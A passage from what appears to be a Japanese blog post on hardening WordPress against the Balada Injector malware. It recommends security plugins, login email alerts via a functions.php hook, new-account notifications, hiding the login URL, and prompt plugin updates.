SiteGuard WP Plugin*2 / XO Security*3、User Login History*4などの、セキュリティ対策プラグインを導入することで、簡単にセキュリティを高めることができます。 具体的な機能として、ログイン履歴の記録やログインアラート(メール通知)や2段階認証を有効にすることで、不正なログインに気づきやすくなるほか、不正なログイン自体も防ぐ事が可能です。

functions.phpへの設定の追記

プラグインの導入を避けたい場合は、下記のようにfunctions.phpに追記することでログイン時にメール通知することも可能です。

add_action('wp_login', 'alert', 10, 2);
function alert($user_login , $current_user) {
  // ログイン時の処理(メール通知する処理)
}

また、wp_send_new_user_notification_to_adminフィルターが常にtrueを返すようにすることで、新規アカウント作成時に管理者のメールアドレスに通知が来るようになります。

管理者ページのURLの変更

WordPressのログインページであるwp-loginやwp-adminのURLを推測されにくいものに変更し、隠すことで、アカウント登録を防ぐ緩和策となります。

最後に

マルウェアBalada Injectorは、2018年に報告されたものから2022年に報告されたものまで、幅広い期間かつ様々なプラグインやテーマの脆弱性を対象としています。そのため、今後も対象の脆弱性が増えていく可能性があります。

プラグインのアップデート情報を確認し、アップデートがある場合は検証した上で速やかに更新しましょう。 また、プラグインやテーマの設定は適切に行い、不用意にデバッグログや非公開ページが表示されていないか確認するとよいと思います。
その他にも、セキュリティ対策プラグインなどを利用することで、認証ログを記録し、ログインアラートを送信するように設定することができます。

検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。